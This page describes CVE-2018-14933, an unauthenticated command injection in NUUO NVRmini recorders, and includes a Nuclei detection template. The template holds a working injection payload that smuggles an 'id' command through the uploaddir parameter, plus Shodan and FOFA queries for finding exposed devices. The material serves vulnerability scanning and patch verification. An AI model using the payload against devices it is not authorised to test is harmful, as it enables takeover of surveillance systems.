NUUO NVRmini - Remote Command Execution

Exploited in the wild. Listed by CISA on 2024-12-18; known to be used by ransomware.

criticalseverity

9.8CVSS score

94.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.

Impact

Unauthenticated attackers can execute arbitrary commands on the NUUO NVRmini device by manipulating the uploaddir parameter in upgrade_handle.php, leading to complete device compromise and potential unauthorized access to video surveillance systems and recordings.

Fix

Update NUUO NVRmini to a patched version later than the 2016 firmware that properly validates the uploaddir parameter and restricts command execution.

How to confirm it

Send: GET {{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27
Positive when: matches /uid=[0-9]+.*gid=[0-9]+.*/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-14933 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-14933

info:
  name: NUUO NVRmini - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the NUUO NVRmini device by manipulating the uploaddir parameter in upgrade_handle.php, leading to complete device compromise and potential unauthorized access to video surveillance systems and recordings.
  remediation: |
    Update NUUO NVRmini to a patched version later than the 2016 firmware that properly validates the uploaddir parameter and restricts command execution.
  reference:
    - https://www.exploit-db.com/exploits/45070
    - https://www.cve.org/CVERecord?id=CVE-2018-14933
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14933
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-14933
    cwe-id: CWE-78
    epss-score: 0.94761
    epss-percentile: 0.99858
    cpe: cpe:2.3:o:nuuo:nvrmini_firmware:2016:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nuuo
    product: nvrmini_firmware
    shodan-query: title:"NUUO"
    fofa-query: title="NUUO"
  tags: cve,cve2018,nuuo,rce,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from